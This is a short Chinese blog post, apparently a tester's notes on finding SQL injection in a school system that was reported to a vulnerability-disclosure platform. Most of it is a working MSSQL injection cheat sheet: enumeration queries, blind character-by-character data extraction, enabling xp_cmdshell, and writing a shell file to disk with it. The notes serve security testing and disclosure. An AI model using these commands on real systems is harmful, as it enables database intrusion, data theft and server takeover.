0x01前言
学校开了xx系统,大半夜改文档格式头大,登上去看下,有越权有注入,不是sa权限,sql server2008的xp_cmdshell默认关闭,传不了shell(我太菜了),遍历几个数据库名交到教育src,睡觉。
0x02正文
select SUSER_SNAME()//当前用户
select SUSER_SID()///当前用户id
select db_name()//当前数据库
select name from master.dbo.sysdatabases where dbid=1//列数据库
having 1=1//列表和列
group by test.id,test.name having 1=1//遍历列表和列
ascii(substring((select top 1 列名 from 表名),n,1)) >= 60//获取数据
执行命令
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。需要开启。
xp_cmdshell提权条件:
数据库用户是sa。
能够创建xp_cmdshell,有的情况下虽然是sa账号,但无法使用xp_cmdshell。
知道绝对路径。
sa权限开启xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
写shell或者执行其他命令
exec master..xp_cmdshell 'echo payload > 绝对路径';-- (尖括号前需要加^)
网友评论